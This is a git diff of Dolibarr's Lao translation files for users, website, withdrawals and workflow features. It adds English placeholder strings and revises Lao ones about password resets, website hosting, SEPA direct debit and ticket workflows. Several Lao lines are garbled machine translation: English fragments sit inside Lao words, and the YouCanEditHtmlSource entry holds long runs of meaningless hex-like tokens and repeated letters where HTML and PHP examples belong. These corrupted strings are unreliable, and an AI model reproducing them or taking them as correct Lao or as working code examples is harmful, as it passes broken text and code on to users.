b/htdocs/langs/lo_LA/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=ລຶບຈາກກຸ່ມ PasswordChangedAndSentTo=ປ່ຽນລະຫັດຜ່ານແລະສົ່ງໄປ %s . PasswordChangeRequest=ຂໍປ່ຽນລະຫັດຜ່ານສໍາລັບ %s PasswordChangeRequestSent=ຮ້ອງຂໍໃຫ້ປ່ຽນລະຫັດຜ່ານສໍາລັບ %s ສົ່ງໄປ %s . -IfLoginExistPasswordRequestSent=ຖ້າການເຂົ້າສູ່ລະບົບນີ້ເປັນບັນຊີທີ່ຖືກຕ້ອງ, ໄດ້ມີການສົ່ງອີເມວເພື່ອຕັ້ງລະຫັດຜ່ານໃreset່. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=ຖ້າອີເມວນີ້ເປັນບັນຊີທີ່ຖືກຕ້ອງ, ອີເມລ to ເພື່ອຕັ້ງລະຫັດຜ່ານໃbeen່ໄດ້ຖືກສົ່ງໄປແລ້ວ. ConfirmPasswordReset=ຢືນຢັນການຣີເຊັດລະຫັດຜ່ານ MenuUsersAndGroups=ຜູ້ໃຊ້ & ກຸ່ມ @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=ສ້າງຜູ້ໃຊ້ CreateDolibarrThirdParty=ສ້າງພາກສ່ວນທີສາມ -LoginAccountDisableInDolibarr=ບັນຊີຖືກປິດການ ນຳ ໃຊ້ໃນ Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=ໃຊ້ຄຸນຄ່າສ່ວນຕົວ -InternalUser=ຜູ້ໃຊ້ພາຍໃນ ExportDataset_user_1=ຜູ້ໃຊ້ແລະຄຸນສົມບັດຂອງເຂົາເຈົ້າ DomainUser=ຜູ້ໃຊ້ໂດເມນ %s Reactivate=ເປີດ ນຳ ໃຊ້ຄືນໃ່ @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/lo_LA/website.lang b/htdocs/langs/lo_LA/website.lang index ddcc387a99b..26c5bb63b7d 100644 --- a/htdocs/langs/lo_LA/website.lang +++ b/htdocs/langs/lo_LA/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=ລະຫັດ +WebsiteName=Name of the website WebsiteSetupDesc=ສ້າງທີ່ນີ້ເວັບໄຊທທີ່ທ່ານຕ້ອງການນໍາໃຊ້. ຈາກນັ້ນເຂົ້າໄປທີ່ເມນູເວັບໄຊທ to ເພື່ອແກ້ໄຂພວກມັນ. DeleteWebsite=ລຶບເວັບໄຊທ ConfirmDeleteWebsite=ເຈົ້າແນ່ໃຈບໍວ່າເຈົ້າຕ້ອງການລຶບເວັບໄຊທນີ້? ທຸກ ໜ້າ ແລະເນື້ອໃນຂອງມັນຈະຖືກເອົາອອກໄປຄືກັນ. ໄຟລ uploaded ທີ່ອັບໂຫຼດ (ເຊັ່ນ: ເຂົ້າໄປໃນບັນຊີລາຍຊື່ສື່, ໂມດູນ ECM, ... ) ຈະຍັງຄົງຢູ່. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=ການເພີ່ມໃສ່ຢູ່ລຸ່ມສຸ WEBSITE_ROBOT=ໄຟລ ot ຫຸ່ນຍົນ (robots.txt) WEBSITE_HTACCESS=ເວັບໄຊທ file. ໄຟລ htaccess WEBSITE_MANIFEST_JSON=ໄຟລ manifest manifest.json ຂອງເວັບໄຊທ -WEBSITE_README=ໄຟລ RE README.md WEBSITE_KEYWORDSDesc=ໃຊ້aາຍຈຸດເພື່ອແຍກຄ່າຕ່າງ -EnterHereLicenseInformation=ໃສ່ບ່ອນນີ້ຂໍ້ມູນ meta ຫຼືຂໍ້ມູນໃບອະນຸຍາດເພື່ອຍື່ນໄຟລ RE README.md. ຖ້າເຈົ້າແຈກຢາຍເວັບໄຊທ your ຂອງເຈົ້າເປັນແມ່ແບບ, ໄຟລ will ຈະຖືກລວມເຂົ້າໃນຊຸດລໍ້ລວງ. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=ສ່ວນຫົວຂອງ HTML (ສະເພາະ ໜ້າ ນີ້ເທົ່ານັ້ນ) PageNameAliasHelp=ຊື່ຫຼືນາມແງຂອງ ໜ້າ.
      ນາມແງນີ້ຍັງຖືກໃຊ້ເພື່ອປອມ URL SEO ໃນເວລາທີ່ເວັບໄຊທ is ຖືກແລ່ນມາຈາກ Virtual host ຂອງ Web server (ເຊັ່ນ Apacke, Nginx, ... ). ໃຊ້ປຸ່ມ " %s " ເພື່ອແກ້ໄຂນາມແງນີ້. EditTheWebSiteForACommonHeader=Noteາຍເຫດ: ຖ້າເຈົ້າຕ້ອງການກໍານົດສ່ວນຫົວສ່ວນບຸກຄົນສໍາລັບທຸກ ໜ້າ, ແກ້ໄຂສ່ວນຫົວຢູ່ໃນລະດັບເວັບໄຊທ instead ແທນທີ່ຈະຢູ່ໃນ ໜ້າ/ຖັງບັນຈຸ. @@ -42,10 +43,12 @@ ViewPageInNewTab=ເບິ່ງ ໜ້າ ຢູ່ໃນແຖບໃ່ SetAsHomePage=ຕັ້ງເປັນ ໜ້າ ຫຼັກ RealURL=URL ທີ່ແທ້ຈິງ ViewWebsiteInProduction=ເບິ່ງເວັບໄຊທ using ໂດຍໃຊ້ URL ຂອງບ້ານ +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= ໃຊ້ກັບ Apache / Nginx / ...
      ສ້າງໃນເຄື່ອງແມ່ຂ່າຍເວັບຂອງທ່ານ (Apache, Nginx, ... ) ເປັນ Host Virtual ອຸທິດກັບ PHP ເປີດແລະລະບົບຮາກໃນ
      %s ExampleToUseInApacheVirtualHostConfig=ຕົວຢ່າງທີ່ຈະໃຊ້ໃນການຕັ້ງຄ່າເຈົ້າພາບ virtual Apache: YouCanAlsoTestWithPHPS= ໃຊ້ກັບ PHP ຝັງ ເຄື່ອງແມ່ຂ່າຍຂອງ
      On ພັດທະນາສະພາບແວດລ້ອມ, ທ່ານອາດຈະຕ້ອງການທີ່ຈະທົດສອບເວັບໄຊທີ່ມີ PHP ຝັງເຄື່ອງແມ່ຂ່າຍເວັບທີ່ (PHP 5.5 ທີ່ກໍານົດໄວ້) ໂດຍໃຊ້
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP= ແລ່ນເວັບໄຊທຂອງເຈົ້າກັບຜູ້ໃຫ້ບໍລິການ Dolibarr Hosting ຄົນອື່ນ
      ຖ້າເຈົ້າບໍ່ມີ web server ຄື Apache ຫຼື NGinx ທີ່ມີຢູ່ໃນອິນເຕີເນັດ, ເຈົ້າສາມາດສົ່ງອອກແລະນໍາເຂົ້າເວັບໄຊທ your ຂອງເຈົ້າໃສ່ໃນຕົວຢ່າງ Dolibarr ອື່ນທີ່ສະ ໜອງ ໃຫ້ໂດຍຜູ້ໃຫ້ບໍລິການ Dolibarr ອື່ນທີ່ໃຫ້ບໍລິການເຕັມຮູບແບບ. ການເຊື່ອມໂຍງກັບໂມດູນເວັບໄຊທ. ເຈົ້າສາມາດຊອກຫາລາຍຊື່ຂອງຜູ້ໃຫ້ບໍລິການໂຮສ Dolibarr ບາງອັນຢູ່ https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s ReadPerm=ອ່ານ WritePerm=ຂຽນ @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=ເຈົ້າສາມາດແກ້ໄຂລະ YouCanEditHtmlSource=
      ທ່ານສາມາດລວມເອົາລະຫັດ PHP ເຂົ້າໄປໃນແຫຼ່ງນີ້ໂດຍການໃຊ້ແທັກ <? php? > a0a65d071f6f0f. ຕົວແປທົ່ວໂລກຕໍ່ໄປນີ້ມີຢູ່: $ conf, $ db, $ mysoc, $ user, $ website, $ websitepage, $ weblangs, $ pagelangs.

      ນອກນັ້ນທ່ານຍັງສາມາດລວມເອົາເນື້ອຫາຂອງ Page/Container ອື່ນທີ່ມີໄວຍະກອນຕໍ່ໄປນີ້:
      a03900 ? >

      ທ່ານສາມາດເຮັດໃຫ້ຕົວຊີ້ທິດທາງທີ່ຫນ້າອື່ນ / ຕູ້ຄອນເທນເນີທີ່ມີ syntax ດັ່ງຕໍ່ໄປນີ້ (ຫມາຍເຫດ: ບໍ່ອອກເນື້ອໃນກ່ອນທີ່ຈະໂອນຄືໃດຫນຶ່ງ):?
      < php redirectToContainer ( 'alias_of_container_to_redirect_to'); ? >

      ໃນການເພີ່ມການເຊື່ອມຕໍ່ໄປຫາຫນ້າອື່ນ, ໃຊ້ໄວຍາກອນໄດ້:
      <a href = "alias_of_page_to_link_to.php" >mylink<a>

      ເພື່ອປະກອບມີການເຊື່ອມຕໍ່ ເພື່ອດາວໂຫລດ ໄຟລ໌ເກັບຮັກສາໄວ້ເປັນເອກະສານ ໄດ້ ບັນຊີລາຍຊື່, ໃຊ້ document.php wrapper:
      ຕົວຢ່າງ, ສໍາລັບເອກະສານເຂົ້າໄປໃນເອກະສານ/ecm (ຈໍາເປັນຕ້ອງໄດ້ເຂົ້າສູ່ລະບົບ), syntax ແມ່ນ: a0342fccf00007d007d07d07d07b0d0b0b0c0c0c0 "ສໍາລັບການນໍາໃຊ້ເອກະສານ" ] filename.ext ">

      ສໍາລັບໄຟລ into ເຂົ້າໄປໃນເອກະສານ/ສື່ກາງ (ໄດເຣັກທໍຣີເປີດສໍາລັບການເຂົ້າເຖິງສາທາລະນະ), ໄວຍະກອນແມ່ນ:
      a03900df "/document.php?modulepart=medias&file=[relative_dir/ ]filename.ext">
      ສຳ ລັບໄຟລທີ່ແບ່ງປັນກັບການແບ່ງປັນການເຊື່ອມຕໍ່ (ເປີດການເຂົ້າເຖິງໂດຍໃຊ້ປຸ່ມ hash ການແບ່ງປັນຂອງໄຟລ) a0d09 a04 a04 a04 a07 a04 a04 a07 a03 a a a a a a 0 a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a A a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a t a t a d a a d a d a d a d e a d e a e a e a e a e a e a e a e lo a ee a lo /document.php?hashp=publicsharekeyoffile">


      ໄປປະກອບເປັນ
      ພາບ ເກັບຮັກສາໄວ້ເປັນເອກະສານ ລະບົບ, ນໍາໃຊ້ viewimage.php wrapper:
      ຕົວຢ່າງ, ສໍາລັບຮູບພາບເຂົ້າໄປໃນເອກະສານ / ສື່ມວນຊົນເປັນ (ເປີດ ໄດເຣັກທໍຣີ ສຳ ລັບການເຂົ້າເຖິງສາທາລະນະ), ໄວຍະກອນແມ່ນ:
      <img src = "/viewimage.php? modulepart = medias&file = [relative_dir/] filename.extb07b07b07b07b07f07b07b07b07b07b07b07b0b0b0b07b0b0b0b0b0b0b0b0b0b0b0b0b0b0b0b07C07A007A0c07C07 ຍັງເປັນຜູ້ຈັດການຂອງພວກເຮົາ. #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=ສໍາລັບຮູບພາບທີ່ແບ່ງປັນກັບການເຊື່ອມຕໍ່ແບ່ງປັນ (ເປີດການເຂົ້າເຖິງໂດຍໃຊ້ລະຫັດ hash ການແບ່ງປັນຂອງໄຟລ)), ໄວຍະກອນແມ່ນ:
      <img src = "/viewimage.php? hashp = 12345679012 ... " a0012c7d009007700775 a039c087007c007c007c007c0b087c07c0b0785c087b07b0770c087b087b07b0770c07b07b07b07b0775c0b087b087b07b07b087b087b087a087b087b087b087c087c087c07b07b07b087c06b08770 -YouCanEditHtmlSourceMore=
      ຕົວຢ່າງເພີ່ມເຕີມຂອງ HTML ຫຼືລະຫັດແບບເຄື່ອນໄຫວທີ່ມີຢູ່ໃນ ເອກະສານ wiki
      . +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=Clone page/container CloneSite=Clone site SiteAdded=ເພີ່ມເວັບໄຊທແລ້ວ @@ -137,7 +140,7 @@ PagesRegenerated=%s ໜ້າ (s)/container (s) ຖືກສ້າງຂຶ້ RegenerateWebsiteContent=ສ້າງໄຟລ cache cache ຂອງເວັບໄຊທຄືນໃ່ AllowedInFrames=ອະນຸຍາດໃຫ້ຢູ່ໃນເຟຣມ DefineListOfAltLanguagesInWebsiteProperties=ກຳ ນົດລາຍຊື່ພາສາທີ່ມີທັງintoົດໃສ່ໃນຄຸນສົມບັດຂອງເວັບໄຊທ. -GenerateSitemaps=ສ້າງໄຟລ em ແຜນທີ່ເວັບໄຊທ +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=ຖ້າເຈົ້າຢືນຢັນ, ເຈົ້າຈະລຶບໄຟລ em ແຜນທີ່ທີ່ມີຢູ່ອອກ ... ConfirmSitemapsCreation=ຢືນຢັນການສ້າງແຜນທີ່ SitemapGenerated=ໄຟລ em ແຜນທີ່ແຜນທີ່ %s ສ້າງຂຶ້ນ @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon ຕ້ອງເປັນ png ErrorFaviconSize=Favicon ຕ້ອງມີຂະ ໜາດ 16x16, 32x32 ຫຼື 64x64 FaviconTooltip=ອັບໂຫຼດຮູບທີ່ຕ້ອງເປັນ png (16x16, 32x32 ຫຼື 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/lo_LA/withdrawals.lang b/htdocs/langs/lo_LA/withdrawals.lang index f00ec20967e..a9aafdaabf2 100644 --- a/htdocs/langs/lo_LA/withdrawals.lang +++ b/htdocs/langs/lo_LA/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=ໃບແຈ້ງ ໜີ້ ຜູ້ຂາຍ InvoiceWaitingWithdraw=ໃບແຈ້ງ ໜີ້ ລໍຖ້າການຫັກເງິນໂດຍກົງ InvoiceWaitingPaymentByBankTransfer=ໃບແຈ້ງ ໜີ້ ລໍຖ້າການໂອນເງິນສິນເຊື່ອ AmountToWithdraw=ຈຳ ນວນທີ່ຈະຖອນໄດ້ +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=ບໍ່ມີໃບຮຽກເກັບເງິນເປີດໃຫ້ '%s' ລໍຖ້າ. ໄປທີ່ແຖບ '%s' ຢູ່ໃນບັດຮຽກເກັບເງິນເພື່ອເຮັດການຮ້ອງຂໍ. -NoSupplierInvoiceToWithdraw=ບໍ່ມີໃບຮຽກເກັບເງິນຜູ້ສະ ໜອງ ທີ່ເປີດ 'ການຮ້ອງຂໍສິນເຊື່ອໂດຍກົງ' ລໍຖ້າຢູ່. ໄປທີ່ແຖບ '%s' ຢູ່ໃນບັດຮຽກເກັບເງິນເພື່ອເຮັດການຮ້ອງຂໍ. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=ຜູ້ຮັບຜິດຊອບ WithdrawalsSetup=ການຕັ້ງຄ່າການຊໍາລະດ້ວຍບັນຊີເດບິດໂດຍກົງ CreditTransferSetup=ການຕັ້ງຄ່າການໂອນສິນເຊື່ອ @@ -41,6 +42,7 @@ CreditTransferStatistics=ສະຖິຕິການໂອນສິນເຊື Rejects=ປະຕິເສດ LastWithdrawalReceipt=ໃບຮັບເງິນເດບິດໂດຍກົງ %s ຫຼ້າສຸດ MakeWithdrawRequest=ຮ້ອງຂໍການຊໍາລະດ້ວຍບັນຊີເດບິດໂດຍກົງ +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=ເຮັດການຮ້ອງຂໍການໂອນເງິນສິນເຊື່ອ WithdrawRequestsDone=%s ຄຳ ຮ້ອງການ ຊຳ ລະບັນຊີໂດຍກົງບັນທຶກແລ້ວ BankTransferRequestsDone=ບັນທຶກ ຄຳ ຂໍໂອນເງິນ %s ແລ້ວ @@ -99,8 +101,11 @@ CreditDate=ສິນເຊື່ອຢູ່ WithdrawalFileNotCapable=ບໍ່ສາມາດສ້າງໄຟລ receipt ໃບຮັບເງິນຖອນເງິນສໍາລັບປະເທດຂອງເຈົ້າ %s (ປະເທດຂອງເຈົ້າບໍ່ຖືກຮອງຮັບ) ShowWithdraw=ສະແດງຄໍາສັ່ງການຫັກບັນຊີໂດຍກົງ IfInvoiceNeedOnWithdrawPaymentWontBeClosed=ແນວໃດກໍ່ຕາມ, ຖ້າໃບຮຽກເກັບເງິນມີຢ່າງ ໜ້ອຍ ໜຶ່ງ ຄໍາສັ່ງຊໍາລະບັນຊີໂດຍກົງທີ່ຍັງບໍ່ທັນດໍາເນີນການ, ມັນຈະບໍ່ຖືກຕັ້ງເປັນຈ່າຍເພື່ອອະນຸຍາດໃຫ້ມີການຈັດການການຖອນເງິນກ່ອນ. -DoStandingOrdersBeforePayments=ແຖບນີ້ອະນຸຍາດໃຫ້ເຈົ້າຮ້ອງຂໍເອົາຄໍາສັ່ງການຊໍາລະເງິນຜ່ານບັນຊີໂດຍກົງ. ເມື່ອ ສຳ ເລັດແລ້ວ, ເຂົ້າໄປທີ່ເມນູທະນາຄານ-> ການຊໍາລະດ້ວຍການຫັກເງິນໂດຍກົງເພື່ອສ້າງແລະຈັດການຄໍາສັ່ງການຫັກເງິນໂດຍກົງ. ເມື່ອຄໍາສັ່ງການຫັກເງິນໂດຍກົງຖືກປິດ, ການຊໍາລະຢູ່ໃນໃບຮຽກເກັບເງິນຈະຖືກບັນທຶກໂດຍອັດຕະໂນມັດ, ແລະໃບແຈ້ງ ໜີ້ ຖືກປິດຖ້າຍັງເຫຼືອເພື່ອຊໍາລະແມ່ນບໍ່ຫວ່າງ. -DoCreditTransferBeforePayments=ແຖບນີ້ອະນຸຍາດໃຫ້ເຈົ້າຮ້ອງຂໍໃບສັ່ງໂອນເງິນສິນເຊື່ອ. ເມື່ອ ສຳ ເລັດແລ້ວ, ເຂົ້າໄປທີ່ເມນູທະນາຄານ-> ຊໍາລະດ້ວຍການໂອນສິນເຊື່ອເພື່ອສ້າງແລະຈັດການຄໍາສັ່ງການໂອນເງິນສິນເຊື່ອ. ເມື່ອຄໍາສັ່ງການໂອນເງິນສິນເຊື່ອຖືກປິດ, ການຊໍາລະເງິນຢູ່ໃນໃບແຈ້ງ ໜີ້ ຈະຖືກບັນທຶກໂດຍອັດຕະໂນມັດ, ແລະໃບແຈ້ງ ໜີ້ ຖືກປິດຖ້າຍັງເຫຼືອເພື່ອຈ່າຍແມ່ນບໍ່ຫວ່າງ. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=ໄຟລ order ການສັ່ງ ໜີ້ CreditTransferFile=ໄຟລ transfer ໂອນເງິນສິນເຊື່ອ SetToStatusSent=ຕັ້ງເປັນສະຖານະ "ສົ່ງໄຟລແລ້ວ" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=ບໍ່ສາມາດສ້າງຄໍາຮ SepaMandate=ຄໍາສັ່ງ SEPA Direct Debit SepaMandateShort=ຄຳ ສັ່ງ SEPA PleaseReturnMandate=ກະລຸນາສົ່ງຄືນແບບຟອມ ຄຳ ສັ່ງນີ້ທາງອີເມລ to ຫາ %s ຫຼືທາງໄປສະນີຫາ -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=ຕົວລະບຸເຈົ້າ ໜີ້ CreditorName=ຊື່ເຈົ້າ ໜີ້ SEPAFillForm=(ຂ) ກະລຸນາຕື່ມຂໍ້ມູນໃສ່ທຸກຊ່ອງທີ່markedາຍໄວ້ * @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=ວັນທີປະຕິບັດ CreateForSepa=ສ້າງໄຟລ deb ເດບິດໂດຍກົງ ICS=ຕົວລະບຸເຈົ້າ ໜີ້ - ICS +IDS=Debitor Identifier END_TO_END=ແທັກ SEML XML "EndToEndId" - ລະຫັດທີ່ບໍ່ຊໍ້າກັນຖືກມອບperາຍຕໍ່ທຸລະ ກຳ USTRD=ແທັກ SEPA XML "ບໍ່ມີໂຄງສ້າງ" ADDDAYS=ເພີ່ມມື້ໃສ່ວັນທີປະຕິບັດ @@ -154,3 +160,4 @@ ErrorICSmissing=ບໍ່ມີ ICS ຢູ່ໃນບັນຊີທະນາ TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=ຈໍານວນທັງofົດຂອງຄໍາສັ່ງຫັກເງິນໂດຍກົງແຕກຕ່າງຈາກຈໍານວນແຖວ WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +UsedFor=Used for %s diff --git a/htdocs/langs/lo_LA/workflow.lang b/htdocs/langs/lo_LA/workflow.lang index 36c05c40008..2f33616ee98 100644 --- a/htdocs/langs/lo_LA/workflow.lang +++ b/htdocs/langs/lo_LA/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=ສ້າງຄໍາສັ່ງຂາຍ descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=ສ້າງໃບແຈ້ງ ໜີ້ ລູກຄ້າໂດຍອັດຕະໂນມັດຫຼັງຈາກມີການເຊັນບົດສະ ເໜີ ທາງການຄ້າ (ໃບຮຽກເກັບເງິນໃwill່ຈະມີຈໍານວນເທົ່າກັນກັບຂໍ້ສະ ເໜີ) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=ສ້າງໃບແຈ້ງ ໜີ້ ລູກຄ້າໂດຍອັດຕະໂນມັດຫຼັງຈາກສັນຍາໄດ້ຮັບການກວດສອບ descWORKFLOW_ORDER_AUTOCREATE_INVOICE=ສ້າງໃບແຈ້ງ ໜີ້ ລູກຄ້າໂດຍອັດຕະໂນມັດຫຼັງຈາກປິດການສັ່ງຊື້ (ໃບຮຽກເກັບເງິນໃwill່ຈະມີຈໍານວນເທົ່າກັບຄໍາສັ່ງ) +descWORKFLOW_TICKET_CREATE_INTERVENTION=On ticket creation, automatically create an intervention. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=ຈັດປະເພດຂໍ້ສະ ເໜີ ແຫຼ່ງທີ່ເຊື່ອມໂຍງເປັນໃບບິນເມື່ອຄໍາສັ່ງການຂາຍຖືກຕັ້ງເປັນໃບບິນ (ແລະຖ້າຈໍານວນຄໍາສັ່ງແມ່ນຄືກັນກັບຈໍານວນທັງofົດຂອງການສະ ເໜີ ທີ່ເຊື່ອມໂຍງທີ່ເຊັນແລ້ວ) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=ຈັດປະເພດຂໍ້ສະ ເໜີ ແຫຼ່ງທີ່ເຊື່ອມຕໍ່ເປັນໃບບິນທີ່ໄດ້ຮັບການກວດສອບໃບແຈ້ງ ໜີ້ ຂອງລູກຄ້າ (ແລະຖ້າຈໍານວນໃບຮຽກເກັບເງິນຄືກັນກັບຈໍານວນທັງofົດຂອງຂໍ້ສະ ເໜີ ທີ່ເຊື່ອມໂຍງທີ່ເຊັນແລ້ວ) @@ -14,13 +15,22 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=ຈັດປະເພດຄໍ descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=ຈັດປະເພດຄໍາສັ່ງຂາຍແຫຼ່ງທີ່ເຊື່ອມຕໍ່ເປັນການເກັບເງິນເມື່ອໃບເກັບເງິນຂອງລູກຄ້າຖືກກໍານົດໃຫ້ຊໍາລະ (ແລະຖ້າຈໍານວນຂອງໃບຮຽກເກັບເງິນຄືກັນກັບຈໍານວນທັງofົດຂອງຄໍາສັ່ງເຊື່ອມໂຍງ) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=ຈັດປະເພດລໍາດັບການຂາຍແຫຼ່ງທີ່ເຊື່ອມໂຍງເປັນການຈັດສົ່ງເມື່ອການກວດສອບການຂົນສົ່ງຖືກຕ້ອງ (ແລະຖ້າປະລິມານທີ່ການຂົນສົ່ງທັງshippedົດຖືກຈັດສົ່ງແມ່ນຄືກັນກັບໃນຄໍາສັ່ງອັບເດດ). descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=ຈັດປະເພດລໍາດັບການຂາຍແຫຼ່ງທີ່ເຊື່ອມຕໍ່ເປັນການຈັດສົ່ງເມື່ອປິດການຂົນສົ່ງ (ແລະຖ້າປະລິມານການຂົນສົ່ງທັງshippedົດທີ່ສົ່ງອອກແມ່ນຄືກັນກັບໃນຄໍາສັ່ງທີ່ຈະອັບເດດ). -# Autoclassify purchase order +# Autoclassify purchase proposal descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=ຈັດປະເພດຂໍ້ສະ ເໜີ ຂອງຜູ້ຂາຍແຫຼ່ງເຊື່ອມໂຍງເປັນໃບບິນເມື່ອໃບແຈ້ງ ໜີ້ ຜູ້ຂາຍຖືກກວດສອບ (ແລະຖ້າຈໍານວນໃບຮຽກເກັບເງິນຄືກັນກັບຈໍານວນທັງofົດຂອງການສະ ເໜີ ທີ່ເຊື່ອມໂຍງ) +# Autoclassify purchase order descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=ຈັດປະເພດຄໍາສັ່ງຊື້ແຫຼ່ງທີ່ເຊື່ອມຕໍ່ເປັນໃບບິນທີ່ໄດ້ຮັບການກວດສອບໃບແຈ້ງ ໜີ້ ຜູ້ຂາຍ (ແລະຖ້າຈໍານວນໃບຮຽກເກັບເງິນຄືກັນກັບຈໍານວນທັງofົດຂອງຄໍາສັ່ງເຊື່ອມໂຍງ) -descWORKFLOW_BILL_ON_RECEPTION=ຈັດປະເພດການຮັບເພື່ອ "ຮຽກເກັບເງິນ" ເມື່ອຄໍາສັ່ງຂອງຜູ້ສະ ໜອງ ທີ່ເຊື່ອມໂຍງໄດ້ຖືກກວດສອບ +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classify linked source purchase order as received when a reception is validated (and if the quantity received by all receptions is the same as in the purchase order to update) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classify linked source purchase order as received when a reception is closed (and if the quantity received by all rceptions is the same as in the purchase order to update) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=ປິດການແຊກແຊງທັງlinkedົດທີ່ເຊື່ອມໂຍງກັບປີ້ເມື່ອປີ້ປິດ AutomaticCreation=ການສ້າງອັດຕະໂນມັດ AutomaticClassification=ການຈັດປະເພດອັດຕະໂນມັດ # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=ຈັດປະເພດການຈັດສົ່ງແຫຼ່ງທີ່ເຊື່ອມຕໍ່ເປັນປິດເມື່ອໃບເກັບເງິນຂອງລູກຄ້າໄດ້ຮັບການກວດສອບ 